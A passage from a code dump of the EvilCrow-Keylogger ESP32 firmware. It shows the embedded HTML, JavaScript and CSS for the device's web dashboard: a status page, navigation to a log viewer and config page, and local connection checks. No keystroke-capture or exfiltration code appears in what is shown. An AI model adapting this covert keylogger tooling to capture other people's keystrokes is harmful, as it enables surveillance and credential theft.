    "content": "const char Index[] PROGMEM = R\"=====(\n<!DOCTYPE HTML>\n<html>\n<head>\n    <title>EvilCrow-Keylogger</title>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"stylesheet\" href=\"style.css\">\n    <script src=\"javascript.js\"></script>\n</head>\n<body>\n    <div id=\"global-toast\" class=\"toast-container\"></div>\n    <nav id=\"menu\">\n        <input type=\"checkbox\" id=\"responsive-menu\">\n        <label for=\"responsive-menu\"></label>\n        <ul>\n            <li><a href=\"/\">Home</a></li>\n            <li><a href=\"/viewlog\">Log Viewer</a></li>\n            <li><a href=\"/config\">Config</a></li>\n\n        </ul>\n        </nav>\n\n    <div class=\"keylogger-logo\">EvilCrow-Keylogger</div>\n\n    <div class=\"view-container\">\n        <div class=\"stat-container\">\n            <div class=\"stat-group\">\n                <strong>Connection Status: <span class=\"status-indicator status-offline\"></span></strong>\n            </div>\n            <div class=\"stat-group\">\n                <strong>Firmware:</strong> <span id=\"firmware\">v1.1</span>\n            </div>\n            <div class=\"stat-group\">\n                <strong>Uptime:</strong> <span id=\"uptime\">N/A</span>\n            </div>\n            <div class=\"stat-group\">\n                <strong>CPU Temperature:</strong> <span id=\"temperature\">N/A</span>\n            </div>\n            <div class=\"stat-group\">\n                <strong>CPU Core 0 Frequency:</strong> <span id=\"cpu0\">N/A</span>\n            </div>\n            <div class=\"stat-group\">\n                <strong>CPU Core 1 Frequency:</strong> <span id=\"cpu1\">N/A</span>\n            </div>\n            <div class=\"stat-group\">\n                <strong>Free SPIFFS Memory:</strong> <span id=\"freespiffs\">N/A</span>\n            </div>\n            <div class=\"stat-group\">\n                <strong>Total RAM:</strong> <span id=\"totalram\">N/A</span>\n            </div>\n            <div class=\"stat-group\">\n                <strong>Free RAM:</strong> <span id=\"freeram\">N/A</span>\n            </div>\n        </div>\n    </div>\n\n    <script>\n        document.addEventListener('DOMContentLoaded', function() {\n            \n            if (typeof setupNavigation === 'function') {\n                setupNavigation();\n            }\n            \n            if (typeof checkConnection === 'function') {\n                checkConnection();\n            }\n            \n            if (typeof checkConnection === 'function') {\n                setInterval(checkConnection, 5000);\n            }\n            \n            isNavigating = false;\n            document.body.classList.remove('page-loading');\n        });\n    </script>\n</body>\n</html>\n)=====\";\n"
  },
  {
    "path": "code/ESP32/javascript.h",
    "content": "const char Javascript[] PROGMEM = R\"=====(\n// Track navigation state and abort controller globally\nlet isNavigating = false;\nlet abortControllers = [];\nlet navigationTimeout = null;\nconst isHomePage = window.location.pathname === '/' || window.location.pathname === '/index.html';\nlet lastConnectionCheck = 0;\n\nfunction checkConnection() {\n    const now = Date.now();\n    if (now - lastConnectionCheck < 2000) return;\n    lastConnectionCheck = now;\n\n    if (isNavigating) {\n        abortAllRequests();\n        return;\n    }\n\n    const controller = new AbortController();\n    abortControllers.push(controller);\n\n    const timeout = setTimeout(() => controller.abort(), 1500);\n\n    fetch(isHomePage ? '/stats' : '/connectioncheck', { \n        signal: controller.signal \n    })\n    .then(response => {\n        clearTimeout(timeout);\n        if (isNavigating) return;\n        if (isHomePage) {\n            return response.json().then(data => {\n                updateStats(data);\n            });\n        } else {\n            updateConnectionStatus(response.ok);\n            return response.json();\n        }\n    })\n    .catch(error => {\n        clearTimeout(timeout);\n        if (error.name !== 'AbortError' && !isNavigating) {\n            updateConnectionStatus(false);\n            if (isHomePage) {\n                document.getElementById('uptime').innerText = 'N/A';\n                document.getElementById('cpu0').innerText = 'N/A';\n                document.getElementById('cpu1').innerText = 'N/A';\n                document.getElementById('temperature').innerText = 'N/A';\n                document.getElementById('freespiffs').innerText = 'N/A';\n                document.getElementById('totalram').innerText = 'N/A';\n                document.getElementById('freeram').innerText = 'N/A';\n            }\n        }\n    });\n}\n\nfunction abortAllRequests() {\n    abortControllers.forEach(controller => controller.abort());\n    abortControllers = [];\n}\n\nfunction setupNavigation() {\n    const links = document.querySelectorAll(\"#menu a\");\n\n    links.forEach(link => {\n        link.addEventListener('click', function(e) {\n            if (this.classList.contains('active')) {\n                e.preventDefault();\n                return;\n            }\n\n            isNavigating = true;\n            abortAllRequests();\n            document.body.classList.add('page-loading');\n\n            if (/iPad|iPhone|iPod/.test(navigator.userAgent)) {\n                e.preventDefault();\n                setTimeout(() => {\n                    window.location.replace(this.href);\n                }, 50);\n            } else {\n                setTimeout(() => {\n                    window.location.href = this.href;\n                }, 100);\n            }\n        });\n    });\n\n    const currentPath = window.location.pathname;\n    links.forEach(link => {\n        if (link.getAttribute('href') === currentPath) {\n            link.classList.add('active');\n        } else {\n            link.classList.remove('active');\n        }\n    });\n}\n\nwindow.addEventListener('load', () => {\n    isNavigating = false;\n    document.body.classList.remove('page-loading');\n});\n\nfunction updateConnectionStatus(isOnline) {\n    document.querySelectorAll('.status-indicator').forEach(indicator => {\n        indicator.classList.toggle('status-online', isOnline);\n        indicator.classList.toggle('status-offline', !isOnline);\n    });\n\n    if (window.location.pathname !== '/') {\n        document.querySelectorAll('.keylogger-logo').forEach(title => {\n            title.classList.toggle('online', isOnline);\n            title.classList.toggle('offline', !isOnline);\n        });\n    }\n}\n\nfunction updateStats(data) {\n    if (data.uptime) document.getElementById('uptime').innerText = formatUptime(data.uptime);\n    if (data.cpu0) document.getElementById('cpu0').innerText = data.cpu0 + ' MHz';\n    if (data.cpu1) document.getElementById('cpu1').innerText = data.cpu1 + ' MHz';\n    if (data.temperature) document.getElementById('temperature').innerText = data.temperature.toFixed(1) + ' °C';\n    if (data.freespiffs) document.getElementById('freespiffs').innerText = formatBytes(data.freespiffs);\n    if (data.totalram) document.getElementById('totalram').innerText = formatBytes(data.totalram);\n    if (data.freeram) document.getElementById('freeram').innerText = formatBytes(data.freeram);\n    updateConnectionStatus(true);\n}\n\nfunction formatBytes(bytes) {\n    if (bytes === 0) return '0 Bytes';\n    const k = 1024;\n    const sizes = ['Bytes', 'KB', 'MB', 'GB'];\n    const i = Math.floor(Math.log(bytes) / Math.log(k));\n    return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];\n}\n\nfunction formatUptime(seconds) {\n    const days = Math.floor(seconds / 86400);\n    const hours = Math.floor((seconds % 86400) / 3600);\n    const minutes = Math.floor((seconds % 3600) / 60);\n    const secs = seconds % 60;\n    \n    if (days > 0) return `${days}d ${hours}h ${minutes}m ${secs}s`;\n    else if (hours > 0) return `${hours}h ${minutes}m ${secs}s`;\n    else if (minutes > 0) return `${minutes}m ${secs}s`;\n    else return `${secs}s`;\n}\n\nfunction showMessage(type, text) {\n    const container = document.getElementById('global-toast') || document.createElement('div');\n    if (!container.id) {\n        container.id = 'global-toast';\n        container.className = 'toast-container';\n        document.body.appendChild(container);\n    }\n    \n    const toast = document.createElement('div');\n    toast.className = `toast-message ${type}`;\n    \n    const messageSpan = document.createElement('span');\n    messageSpan.textContent = text;\n    \n    const closeButton = document.createElement('span');\n    closeButton.className = 'toast-close';\n    closeButton.innerHTML = '&times;';\n    closeButton.onclick = () => {\n        toast.style.animation = 'toastFadeOut 0.3s ease-out';\n        setTimeout(() => toast.remove(), 300);\n    };\n    \n    toast.appendChild(messageSpan);\n    toast.appendChild(closeButton);\n    container.appendChild(toast);\n    \n    const timer = setTimeout(() => {\n        toast.style.animation = 'toastFadeOut 0.3s ease-out';\n        setTimeout(() => toast.remove(), 300);\n    }, 5000);\n    \n    closeButton.onclick = () => {\n        clearTimeout(timer);\n        toast.style.animation = 'toastFadeOut 0.3s ease-out';\n        setTimeout(() => toast.remove(), 300);\n    };\n}\n\ndocument.addEventListener('touchstart', function(event) {\n    if (event.touches.length > 1) event.preventDefault();\n}, { passive: false });\n\ndocument.addEventListener('gesturestart', function(e) {\n    e.preventDefault();\n});\n\ndocument.addEventListener(\"DOMContentLoaded\", function () {\n    console.log('EvilCrow Keylogger - Initializing...');\n    setupNavigation();\n    isNavigating = false;\n    document.body.classList.remove('page-loading');\n    setInterval(checkConnection, 5000);\n    checkConnection();\n    console.log('EvilCrow Keylogger - Initialization complete');\n});\n\nif (document.readyState === 'complete' || document.readyState === 'interactive') {\n    setTimeout(() => {\n        if (typeof setupNavigation === 'function') setupNavigation();\n        if (typeof checkConnection === 'function') {\n            setInterval(checkConnection, 5000);\n            checkConnection();\n        }\n    }, 100);\n}\n)=====\";\n"
  },
  {
    "path": "code/ESP32/style.h",
    "content": "const char Style[] PROGMEM = R\"=====(\n:root {\n  --primary: #00f2ff;\n  --secondary: #00ff88;\n  --accent: #ff00aa;\n  --dark: #0a0a12;\n  --darker: #050508;\n  --light: #f0f0ff; /* Changed from #e0e0ff */\n  --success: #00ff88;\n  --error: #ff0033;\n  --warning: #ffaa00;\n}\n\nbody {\n  background-color: #000000; /* Pure black */\n  color: var(--light);\n  font-family: 'Courier New', monospace;\n  margin: 0;\n  padding: 0;\n  overflow-x: hidden;\n  line-height: 1.6;\n}\n\n/* Header/Navigation - Mobile First */\n#menu {\n  background: var(--darker);\n  border-bottom: 1px solid var(--primary);\n  box-shadow: 0 0 15px rgba(0, 242, 255, 0.3);\n  padding: 10px 0;\n  position: relative; /* Changed from sticky to relative */\n  top: auto; /* Remove sticky positioning */\n  z-index: 100;\n}\n\n#menu ul {\n  display: none;\n  flex-direction: column;\n  padding: 0;\n  margin: 0;\n  list-style: none;\n  width: 100%;\n}\n\n#menu li {\n  margin: 5px 0;\n  position: relative;\n}\n\n#menu a {\n  color: var(--light);\n  text-decoration: none;\n  padding: 10px 15px;\n  display: block;\n  transition: all 0.3s;\n  position: relative;\n  -webkit-tap-highlight-color: transparent;\n  touch-action: manipulation; /* Disable double-tap zoom */\n}\n\n#menu a:hover {\n  color: var(--primary);\n  background: rgba(0, 242, 255, 0.1);\n  will-change: width; \n}\n\n#menu a::after {\n  content: '';\n  position: absolute;\n  bottom: 0;\n  left: 50%;\n  transform: translateX(-50%);\n  width: 0;\n  height: 2px;\n  background: var(--primary);\n  transition: width 0.3s;\n}\n\n#menu a:hover::after {\n  width: 70%;\n}\n\n#menu .usb-icon {\n  vertical-align: middle;\n  margin-right: 5px;\n}\n\n/* Active menu item */\n#menu a.active {\n  color: var(--primary);\n  font-weight: bold;\n}\n\n#menu a.active::after {\n  width: 70%;\n}\n\n/* Hamburger menu - Mobile - Left side */\n#responsive-menu + label {\n  display: block;\n  cursor: pointer;\n  padding: 5px 15px;\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: 101;\n  background: var(--darker); /* Add background to match menu */\n}\n\n#responsive-menu + label::before {\n  content: \"☰\";\n  font-size: 1.5em;\n  color: var(--primary);\n}\n\n#responsive-menu:checked + label::before {\n  content: \"✕\";\n}\n\n#responsive-menu:checked ~ ul {\n  display: flex;\n  flex-direction: column;\n  align-items: center; /* Center menu items */\n  text-align: center; /* Center text */\n  padding-top: 60px; /* Make space for hamburger */\n}\n\n/* Adjust menu items for centered layout */\n#responsive-menu:checked ~ ul li {\n  width: 100%;\n  text-align: center;\n}\n\n#responsive-menu:checked ~ ul a {\n  justify-content: center;\n}\n\n/* Main content */\n.view-container {\n  -webkit-transform: translate3d(0,0,0);\n  transform: translateZ(0);\n  will-change: transform;\n  background: rgba(10, 10, 18, 0.8);\n  border: 1px solid var(--primary);\n  border-radius: 5px;\n  padding: 15px;\n  margin-top: 20px;\n  margin: 15px auto;\n  max-width: 900px;\n  box-shadow: 0 0 20px rgba(0, 242, 255, 0.1);\n  position: relative;\n  overflow: hidden;\n  min-height: 350px;\n}\n\n.view-container::before {\n  content: \"\";\n  position: absolute;\n  top: 0;\n  left: 0;\n  width: 100%;\n  height: 3px;\n  background: linear-gradient(90deg, var(--primary), var(--secondary));\n}\n\n/* Buttons */\nbutton, input[type=\"submit\"], input[type=\"button\"] {\n  background: linear-gradient(135deg, var(--primary), var(--secondary));\n  color: var(--darker);\n  border: none;\n  padding: 5px 5px;\n  font-weight: bold;\n  border-radius: 3px;\n  cursor: pointer;\n  transition: all 0.3s;\n  text-transform: uppercase;\n  letter-spacing: 1px;\n  position: relative;\n  overflow: hidden;\n  font-family: 'Courier New', monospace;\n  font-size: 12px;\n  margin: 5px;\n  min-height: 44px;\n}\n\nbutton:hover, input[type=\"submit\"]:hover, input[type=\"button\"]:hover {\n  transform: translateY(-2px);\n  box-shadow: 0 5px 15px rgba(0, 242, 255, 0.4);\n}\n\nbutton::after {\n  content: \"\";\n  position: absolute;\n  top: 0;\n  left: -100%;\n  width: 100%;\n  height: 100%;\n  background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent);\n  transition: 0.5s;\n}\n\nbutton:hover::after {\n  left: 100%;\n}\n\nbutton[name=\"deleteWifiButton\"], \nbutton[name=\"deleteUSBButton\"],\nbutton[name=\"deleteBackupWifiButton\"],\nbutton[name=\"clearCacheButton\"] {\n  background: linear-gradient(135deg, var(--error), #cc0022);\n}\n\nbutton[name=\"deleteAllPayloads\"] {\n    background: linear-gradient(135deg, var(--error), #cc0022);\n    min-width: auto;\n    margin: 0;\n    width: auto;\n    flex-shrink: 0;\n    white-space: nowrap; /* Prevent text wrapping */\n}\n\n/* Input fields - Improved for mobile */\n/* Form inputs - one line height */\ninput:not([type=\"checkbox\"]):not([type=\"file\"]),\nselect {\n  height: 36px; /* Fixed height for single-line inputs */\n  padding: 8px 12px;\n  line-height: 1.2;\n}\n\ntextarea {\n  min-height: 100px; /* Keep textareas taller */\n  resize: none;\n}\n\n* {\n  -webkit-tap-highlight-color: transparent;\n}\n\n.single-line-input {\n  height: 36px !important;\n  line-height: 36px !important;\n  padding: 0 12px !important;\n}\n\ninput, textarea, select {\n  background: rgba(0, 0, 0, 0.3);\n  border: 1px solid var(--primary);\n  color: var(--light);\n  padding: 8px 12px;\n  border-radius: 3px;\n  width: 100%;\n  margin-bottom: 12px;\n  font-family: 'Courier New', monospace;\n  transition: all 0.3s;\n  box-sizing: border-box;\n  font-size: 16px !important;\n}\n\ninput:focus, textarea:focus, select:focus {\n  outline: none;\n  border-color: var(--secondary);\n  box-shadow: 0 0 10px rgba(0, 255, 136, 0.3);\n}*/\n\ninput[type=\"checkbox\"] {\n  width: auto;\n  margin-right: 10px;\n}\n\n/* Form groups - Improved spacing */\n.form-group {\n  margin-bottom: 15px;\n}\n\n.form-group label {\n  display: block;\n  margin-top: 10px;\n  margin-bottom: 6px;\n  color: var(--primary);\n  font-weight: bold;\n  font-size: 1em;\n}\n\n/* Validation styles */\n#validationStatus {\n  display: block;\n  font-size: 0.85em;\n  white-space: pre-wrap;\n  font-family: 'Courier New', monospace;\n  background-color: rgba(10, 10, 10, 0.9);\n  padding: 8px;\n  border-radius: 3px;\n  border-left: 3px solid var(--error);\n  margin-top: 5px;\n}\n\n.validation-ok {\n  color: var(--success);\n  border-left-color: var(--success) !important;\n}\n\n.validation-error {\n  color: var(--error);\n}\n\n.validation-empty {\n    color: #666; /* Gray color for empty state */\n    font-style: italic;\n    display: block; /* Ensure it's visible */\n}\n\n/* Desktop specific styles */\n@media (min-width: 768px) {\n  #validationStatus {\n    padding-left: 30px;\n    text-indent: -20px;\n    line-height: 1.4;\n  }\n  \n  #validationStatus::before {\n    content: \"→ \";\n    color: var(--primary);\n    margin-right: 5px;\n  }\n}\n\n/* Mobile specific styles */\n@media (max-width: 767px) {\n  #validationStatus {\n    padding-left: 15px;\n  }\n}\n\n/* Payload list */\n.payload-list-container {\n  display: grid;\n  grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));\n  gap: 12px;\n  margin: 15px 0;\n}\n\n.payload-item {\n    border: 1px solid var(--primary);\n    border-radius: 3px;\n    padding: 12px;\n    margin-bottom: 12px;\n    background-color: rgba(10, 10, 10, 0.9);\n}\n\n.payload-desc {\n    color: #aaa;\n    font-size: 0.85em;\n    margin: 8px 0;\n    line-height: 1.4;\n    max-height: 2.8em; /* 2 lines */\n    overflow: hidden;\n    text-overflow: ellipsis;\n    display: -webkit-box;\n    -webkit-line-clamp: 2;\n    -webkit-box-orient: vertical;\n    white-space: pre-line;\n}\n\n.payload-filename {\n    color: #666;\n    font-size: 0.75em;\n    font-family: monospace;\n}\n\n.payload-item, .payload-item-os {\n  border: 1px solid var(--primary);\n  border-radius: 3px;\n  padding: 12px;\n  transition: all 0.3s;\n  position: relative;\n  background-color: rgba(10, 10, 10, 0.9); /* Darker than before */\n}\n\n.payload-item:hover, .payload-item-os:hover {\n  transform: translateY(-5px);\n  box-shadow: 0 10px 20px rgba(0, 242, 255, 0.2);\n  border-color: var(--secondary);\n}\n\n.payload-item::before, .payload-item-os::before {\n  content: \"\";\n  position: absolute;\n  top: 0;\n  left: 0;\n  width: 3px;\n  height: 100%;\n  background: linear-gradient(to bottom, var(--primary), var(--secondary));\n}\n\n.payload-description-content {\n    padding: 0 15px;\n    text-align: left;\n    font-size: 0.9em;\n    line-height: 1.5;\n    margin: 0;\n    text-indent: 0;\n    white-space: pre-line;\n}\n\n.payload-description-content p:first-child,\n.payload-description-content div:first-child {\n    margin-top: 0;\n    text-indent: 0;\n}\n\n.payload-description-header {\n    text-align: center;\n    padding: 12px;\n    cursor: pointer;\n    background: rgba(5, 5, 8, 0.7);\n    border-bottom: 1px solid var(--primary);\n}\n\n/* Payload Description Styles */\n.payload-description-container {\n    border: 1px solid var(--primary);\n    border-radius: 5px;\n    margin: 15px 0;\n    overflow: hidden;\n    background: rgba(10, 10, 18, 0.8);\n}\n\n.payload-description-header {\n    padding: 12px 15px;\n    cursor: pointer;\n    display: flex;\n    justify-content: space-between;\n    align-items: center;\n    color: var(--primary);\n    font-weight: bold;\n    transition: all 0.3s;\n    background: rgba(5, 5, 8, 0.7);\n}\n\n.payload-description-header:hover {\n    background: rgba(0, 242, 255, 0.1);\n}\n\n.payload-description-content.expanded {\n    max-height: 500px;\n    overflow-y: auto;\n    white-space: pre-line;\n}\n\n.toggle-icon {\n    font-size: 0.8em;\n    transition: transform 0.3s;\n    margin-left: 10px;\n}\n\n.payload-filename {\n  color: #666;\n  font-size: 11px;\n  font-family: monospace;\n}\n\n/* Terminal style elements */\n.terminal-style, .payload-container pre, textarea.payload-input {\n  border: 1px solid var(--primary);\n  color: var(--secondary);\n  padding: 12px;\n  border-radius: 3px;\n  font-family: 'Courier New', monospace;\n  position: relative;\n  width: 100%;\n  overflow: auto;\n  max-height: 80vh;\n  height: 20em;\n  resize: vertical;\n  white-space: pre-wrap;\n  word-wrap: break-word;\n  box-sizing: border-box;\n  background-color: rgba(10, 10, 10, 0.9); /* Darker than before */\n}\n\n/* Toast notifications - Centered below menu */\n.toast-container {\n  position: fixed;\n  top: 80px; /* Below the menu */\n  left: 0;\n  right: 0;\n  z-index: 1000;\n  width: 90%;\n  max-width: 400px;\n  margin: 0 auto;\n  text-align: center;\n}\n\n.toast-message {\n  position: relative;\n  padding: 15px 20px;\n  margin-bottom: 10px;\n  border-radius: 4px;\n  color: white;\n  box-shadow: 0 3px 10px rgba(0, 0, 0, 0.2);\n  animation: toastSlideDown 0.3s ease-out;\n  pointer-events: auto;\n  display: flex;\n  justify-content: space-between;\n  align-items: center;\n  background-color: var(--darker);\n  border-top: 3px solid; /* Changed from border-left to border-top */\n}\n\n@keyframes toastSlideDown {\n  from { \n    opacity: 0;\n    transform: translateY(-30px);\n  }\n  to { \n    opacity: 1;\n    transform: translateY(0);\n  }\n}\n\n@keyframes toastFadeOut {\n  from { \n    opacity: 1;\n    transform: translateY(0);\n  }\n  to { \n    opacity: 0;\n    transform: translateY(-30px);\n  }\n}\n\n.toast-message.success {\n  border-top-color: var(--success); /* Changed from border-left */\n  color: var(--success);\n}\n\n.toast-message.error {\n  border-top-color: var(--error); /* Changed from border-left */\n  color: var(--error);\n}\n\n.toast-message.warning {\n  border-top-color: var(--warning); /* Changed from border-left */\n  color: var(--warning);\n}\n\n.toast-close {\n  cursor: pointer;\n  margin-left: 12px;\n  font-size: 1.1em;\n  color: inherit;\n}\n\n/* OS boxes for autoexec - Mobile optimized */\n.os-container {\n  display: flex;\n  flex-wrap: wrap;\n  justify-content: space-between;\n  margin: 15px 0;\n  gap: 12px;\n}\n\n.os-box {\n  flex: 1 1 150px;\n  min-height: 120px;\n  border: 2px dashed var(--primary);\n  border-radius: 5px;\n  padding: 12px;\n  background-color: rgba(51, 51, 51, 0.3);\n  text-align: center;\n  position: relative;\n  transition: all 0.3s;\n}\n\n.os-box.highlight {\n  border-color: var(--secondary);\n  background-color: rgba(0, 122, 255, 0.1);\n}\n\n.os-box h3 {\n  margin-top: 0;\n  color: var(--primary);\n  border-bottom: 1px solid var(--primary);\n  padding-bottom: 5px;\n  font-size: 16px;\n}\n\n.payload-preview {\n  background-color: rgba(0, 0, 0, 0.5);\n  border-radius: 5px;\n  padding: 8px;\n  margin: 8px 0;\n  word-break: break-word;\n  font-size: 13px;\n}\n\n.payload-item-os {\n  position: relative;\n  z-index: 1;\n  margin-bottom: 5px; /* Ensure spacing between items */\n}\n\n/* Command tables */\n.command-table {\n  width: 100%;\n  border-collapse: collapse;\n  margin: 15px 0;\n  font-size: 0.85em;\n  color: var(--light);\n}\n\n.command-table th, .command-table td {\n  padding: 6px 10px;\n  border: 1px solid var(--primary);\n  text-align: left;\n}\n\n.command-table th {\n  background-color: rgba(68, 68, 68, 0.5);\n  font-weight: bold;\n  color: var(--primary);\n}\n\n.command-table tr:nth-child(even) {\n  background-color: rgba(51, 51, 51, 0.3);\n}\n\n.command-table tr:hover {\n  background-color: rgba(85, 85, 85, 0.3);\n}\n\n.command-cell {\n  cursor: pointer;\n  transition: background-color 0.2s;\n}\n\n.command-cell:hover {\n  background-color: rgba(0, 122, 255, 0.2) !important;\n}\n\n/* Special Keylogger elements */\n.keylogger-logo {\n  -webkit-backface-visibility: hidden;\n  -webkit-transform: translate3d(0,0,0);\n  transform: translateZ(0);\n  text-align: center;\n  margin: 25px 0 15px 0; /* Increased top margin */\n  font-size: 2em;\n  text-transform: uppercase;\n  letter-spacing: 1px;\n  color: var(--primary);\n  text-shadow: 0 0 8px var(--primary);\n  position: relative;\n  z-index: 1;\n}\n\n.clickable-os {\n  cursor: pointer;\n  color: var(--primary);\n  text-decoration: underline;\n  transition: color 0.3s;\n}\n\n.clickable-os:hover {\n  color: var(--secondary);\n}\n\n/* Button containers */\n.button-container, .button-container-os {\n  display: flex;\n  flex-wrap: wrap;\n  justify-content: center;\n  gap: 8px;\n  margin: 15px 0;\n}\n\n.button-container button, \n.button-container-os button {\n  flex: auto;\n  min-width: 100px;\n  background: linear-gradient(135deg, var(--primary), var(--secondary));\n  color: var(--darker);\n  border: none;\n  padding: 10px 20px;\n  font-weight: bold;\n  border-radius: 3px;\n  cursor: pointer;\n  transition: all 0.3s;\n  min-width: 100px; /* Fixed minimum width */\n  width: 100px; /* Fixed width */\n  text-transform: uppercase;\n  letter-spacing: 1px;\n  position: relative;\n  overflow: hidden;\n  font-family: 'Courier New', monospace;\n  font-size: 14px;\n  margin: 5px;\n  min-height: 44px;\n  white-space: nowrap; /* Prevent text wrapping */\n  margin-left: auto; /* Push to the right */\n  flex-shrink: 0; /* Prevent shrinking */\n}\n\n.select-os-btn {\n    /* Make button wider to accommodate longer text */\n    width: 140px;\n    min-width: 140px;\n    max-width: 140px;\n    /* Visual styling */\n    background: linear-gradient(135deg, var(--primary), var(--secondary));\n    color: var(--darker);\n    border: none;\n    padding: 10px 8px;\n    font-weight: bold;\n    border-radius: 3px;\n    cursor: pointer;\n    transition: all 0.3s;\n    /* Text styling */\n    text-transform: uppercase;\n    letter-spacing: 1px;\n    font-family: 'Courier New', monospace;\n    font-size: 12px;\n    white-space: nowrap;\n    overflow: hidden;\n    text-overflow: ellipsis;\n    /* Positioning */\n    position: relative;\n    margin: 0px;\n    flex-shrink: 0;\n    display: inline-flex;\n    align-items: center;\n    justify-content: center;\n    margin-left: auto;\n}\n\n.button-container button:hover, \n.button-container-os button:hover,\n.select-os-btn:hover {\n  transform: translateY(-2px);\n  box-shadow: 0 5px 15px rgba(0, 242, 255, 0.4);\n}\n\n\n.button-container button::after, \n.button-container-os button::after,\n.select-os-btn::after {\n  content: \"\";\n  position: absolute;\n  top: 0;\n  left: -100%;\n  width: 100%;\n  height: 100%;\n  background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent);\n  transition: 0.5s;\n}\n\n.button-container button:hover::after, \n.button-container-os button:hover::after,\n.select-os-btn:hover::after {\n  left: 100%;\n}\n\n/* HR styling */\nhr {\n  border: none;\n  height: 1px;\n  background-color: var(--primary);\n  margin: 15px 0;\n}\n\n/* Stat containers */\n.stat-container {\n  display: flex;\n  flex-wrap: wrap;\n  justify-content: center;\n  gap: 12px;\n  margin: 15px 0;\n}\n\n.stat-group {\n  flex: 1 1 180px;\n  border: 1px solid var(--primary);\n  border-radius: 5px;\n  padding: 12px;\n  min-width: 0;\n  background-color: rgba(10, 10, 10, 0.9); /* Darker than before */\n}\n\n/* Form containers */\n.config-container {\n  background: rgba(51, 51, 51, 0.3);\n  border: 1px solid var(--primary);\n  border-radius: 5px;\n  padding: 15px;\n  margin: 15px auto;\n  max-width: 600px;\n}\n\n/* Config page specific buttons */\n.config-buttons-container {\n    display: flex;\n    justify-content: space-between;\n    margin: 15px 0;\n    width: 100%;\n}\n\n.config-buttons-container button {\n    width: 48%;\n    min-width: auto;\n    margin: 0;\n}\n\nbutton[name=\"clearCacheButton\"] {\n    background: linear-gradient(135deg, var(--error), #cc0022);\n}\n\nbutton[name=\"rebootDeviceButton\"] {\n    background: linear-gradient(135deg, var(--warning), #ff6600);\n}\n\n/* Metadata form */\n#metadataForm {\n  background: rgba(51, 51, 51, 0.5);\n  border: 1px solid var(--primary);\n  border-radius: 5px;\n  padding: 15px;\n  margin: 15px 0;\n  display: none;\n}\n\n/* Payload buttons */\na.pyaloadButton {\n  background: linear-gradient(135deg, var(--primary), var(--secondary));\n  color: var(--darker);\n  border: none;\n  padding: 10px 12px;\n  font-weight: bold;\n  border-radius: 3px;\n  display: block;\n  text-align: center;\n  text-decoration: none;\n  margin: 8px 0;\n  transition: all 0.3s;\n}\n\na.pyaloadButton:hover {\n  transform: translateY(-2px);\n  box-shadow: 0 5px 15px rgba(0, 242, 255, 0.4);\n}\n\n/* Responsive design */\n/* Hide only the hamburger menu checkbox (not other inputs) */\n#responsive-menu {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  margin: -1px;\n  overflow: hidden;\n  clip: rect(0, 0, 0, 0);\n  white-space: nowrap;\n  border: 0;\n}\n\n@media (min-width: 768px) {\n  /* Show regular menu on desktop */\n  #menu ul {\n    display: flex !important; /* Important to override the checked state */\n    flex-direction: row;\n    justify-content: center;\n    flex-wrap: wrap;\n  }\n\n  #menu li {\n    margin: 0 15px;\n  }\n  \n  /* Hide hamburger menu on desktop */\n  #responsive-menu,\n  #responsive-menu + label {\n    display: none !important;\n  }\n\n  /* Force menu to always be visible on desktop */\n  #menu ul {\n    display: flex !important;\n    flex-direction: row;\n  }\n\n  /* Hide hamburger menu on desktop */\n  #responsive-menu {\n    display: none !important;\n  }\n  \n  /* Adjust container sizes for desktop */\n  .view-container {\n    padding: 20px;\n    margin: 20px auto;\n    min-height: 350px;\n  }\n  \n  .os-box {\n    flex: 1 1 200px;\n    min-height: 150px;\n  }\n  \n  .terminal-style, textarea.payload-input {\n    height: 23em;\n  }\n  \n  .keylogger-logo {\n    -webkit-backface-visibility: hidden;\n    -webkit-transform: translate3d(0,0,0);\n    transform: translateZ(0);\n    font-size: 2.5em;\n  }\n}\n\n/* OS Selection Modal */\n.os-modal {\n    position: fixed;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    background-color: rgba(0, 0, 0, 0.8);\n    display: flex;\n    justify-content: center;\n    align-items: center;\n    z-index: 10000;\n}\n\n.os-modal-content {\n    background: var(--darker);\n    border: 2px solid var(--primary);\n    border-radius: 8px;\n    padding: 20px;\n    max-width: 90%;\n    width: 400px;\n    box-shadow: 0 0 20px rgba(0, 242, 255, 0.5);\n}\n\n.os-modal h3 {\n    color: var(--primary);\n    margin-top: 0;\n    text-align: center;\n}\n\n.os-options {\n    display: grid;\n    grid-template-columns: 1fr 1fr;\n    gap: 10px;\n    margin: 20px 0;\n}\n\n.os-options button {\n    background: linear-gradient(135deg, var(--primary), var(--secondary));\n    color: var(--darker);\n    border: none;\n    padding: 12px;\n    border-radius: 4px;\n    font-weight: bold;\n    cursor: pointer;\n    transition: all 0.3s;\n}\n\n.os-options button:hover {\n    transform: translateY(-2px);\n    box-shadow: 0 5px 15px rgba(0, 242, 255, 0.4);\n}\n\n.close-modal {\n    background: var(--error) !important;\n    width: 100%;\n    margin-top: 10px;\n}\n\n.payload-header {\n    display: flex;\n    justify-content: space-between;\n    align-items: center;\n    margin-bottom: 15px;\n    width: 100%;\n}\n\n/* Button container */\n.header-buttons {\n    display: flex;\n    gap: 10px;\n}\n\n.payload-header strong {\n    flex-grow: 1; /* Allow the text to take remaining space */\n    overflow: hidden;\n    text-overflow: ellipsis;\n    white-space: nowrap;\n}\n\n.select-os-btn:hover {\n    background: linear-gradient(135deg, #55616F, #73879F);\n}\n\n.status-indicator {\n    display: inline-block;\n    width: 12px;\n    height: 12px;\n    border-radius: 50%;\n    margin-left: 8px;\n    vertical-align: middle;\n}\n\n.status-online {\n    background-color: var(--success);\n    box-shadow: 0 0 8px var(--success);\n}\n\n.status-offline {\n    background-color: var(--error);\n    box-shadow: 0 0 8px var(--error);\n}\n\n/* Page title indicators */\n.rf-logo::after {\n    content: '';\n    display: inline-block;\n    width: 10px;\n    height: 10px;\n    border-radius: 